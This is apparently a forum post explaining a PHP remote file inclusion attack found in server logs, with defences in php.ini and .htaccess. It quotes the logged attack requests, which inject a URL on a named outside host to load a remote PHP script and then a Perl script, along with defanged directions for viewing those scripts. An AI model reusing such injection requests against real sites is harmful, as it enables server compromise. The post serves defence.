REDIRECT_QUERY_STRING=mosConfig_absolute_path=http://prvib.braindead.hu/rang.txt%3f%3f
If you check your logs, you'll probably find a request somewhere that looks something like
/index.php?inc=hxxp://prvib.braindead.hu/rang.txt%3f%3f
rang.txt is a .txt file (a PHP script) that you can view in your browser. (hxxp://prvib.braindead.hu/rang.txt -- change xx to tt) PC-cillin identifies it as a dangerous website, of course, but viewing the file is (at this moment, anyway) "safe", being a text file. The remote site could do a port scan of any IP that makes a request, and attempt to do bad things, but nothing of that sort appeared in my firewall log. If you don't use AV/firewall, don't go visiting sites like that one.
When your page loaded, that rang.txt script was included into the page, and it ran.
It, in turn, loaded hxxp://prvib.braindead.hu/pvt.txt, which is a perl script (also safe to view in browser), and that ran, too.
In your php.ini file, set
allow_url_fopen = Off
Which will prevent that type of attack.
So will blocking libwww-perl in many instances, as
TranzNDance said.
The more layers of protection, the better.
Edit:Here's yet another layer. This one goes in .htaccess. It blocks any request containing a query string that contains either =http:// or =ftp:// . You cannot use this if you yourself use query strings having this format. If you upgrade scripts by an automated method, such as the SMF Package Manager, enable the exception line below (allowing yourself) before you begin the upgrade process, or it will fail.
RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself when doing SMF Package Manager upgrades.
# Enable the next line and set it to your IP address at that moment.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* - [F,L]